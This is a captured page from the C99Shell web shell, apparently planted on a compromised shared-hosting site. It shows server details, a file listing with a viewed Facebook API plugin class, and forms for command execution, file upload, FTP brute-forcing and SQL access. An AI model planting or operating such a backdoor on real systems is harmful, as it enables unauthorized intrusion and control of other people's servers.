!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/phbcoop.com/vendor/rs-plugin/php/facebook/   drwxr-xr-x
Free 235.71 GB of 981.82 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-facebook.php (2.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 

/**
 * Facebook
 *
 * with help of the API this class delivers album images from Facebook
 *
 * @package    socialstreams
 * @subpackage socialstreams/facebook
 * @author     ThemePunch <info@themepunch.com>
 */

class TP_facebook {
    
/**
     * Get User ID from its URL
     *
     * @since    1.0.0
     * @param    string    $user_url URL of the Page
     */
    
public function get_user_from_url($user_url){
        
$theid str_replace("https"""$user_url);
        
$theid str_replace("http"""$theid);
        
$theid str_replace("://"""$theid);
        
$theid str_replace("www."""$theid);
        
$theid str_replace("facebook"""$theid);
        
$theid str_replace(".com"""$theid);
        
$theid str_replace("/"""$theid);
        
$theid explode("?"$theid);
        return 
$theid[0];
    }

    
/**
     * Get Photosets List from User
     *
     * @since    1.0.0
     * @param    string    $user_id     Facebook User id (not name)
     * @param    int       $item_count     number of photos to pull
     */
    
public function get_photo_sets($user_id,$item_count=10){
        
//photoset params
        
$url "https://graph.facebook.com/$user_id/albums";
        
$photo_sets_list json_decode(file_get_contents($url));
        return 
$photo_sets_list->data;
    }

    
/**
     * Get Photoset Photos
     *
     * @since    1.0.0
     * @param    string    $photo_set_id     Photoset ID
     * @param    int       $item_count     number of photos to pull
     */
    
public function get_photo_set_photos($photo_set_id,$item_count=10){
        
$url "https://graph.facebook.com/v2.0/$photo_set_id?fields=photos";
        
$photo_set_photos json_decode(file_get_contents($url));
        return 
$photo_set_photos->photos->data;
    }

    
/**
     * Get Feed
     *
     * @since    1.0.0
     * @param    string    $user     User ID
     * @param    int       $item_count     number of itmes to pull
     */
    
public function get_post_feed($user,$app_id,$app_secret,$item_count=10){
        
$oauth file_get_contents("https://graph.facebook.com/oauth/access_token?type=client_cred&client_id=".$app_id."&client_secret=".$app_secret);
        
$url "https://graph.facebook.com/$user/feed?".$oauth."&fields=id,from,message,picture,link,name,icon,privacy,type,status_type,object_id,application,created_time,updated_time,is_hidden,is_expired,likes,comments";
        
$feed json_decode(file_get_contents($url));
        return 
$feed->data;
    }

    
/**
     * Decode URL from feed
     *
     * @since    1.0.0
     * @param    string    $url     facebook Output Data
     */
    
public static function decode_facebook_url($url) {
        
$url str_replace('u00253A',':',$url);
        
$url str_replace('\u00255C\u00252F','/',$url);
        
$url str_replace('u00252F','/',$url);
        
$url str_replace('u00253F','?',$url);
        
$url str_replace('u00253D','=',$url);
        
$url str_replace('u002526','&',$url);
        return 
$url;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0118 ]--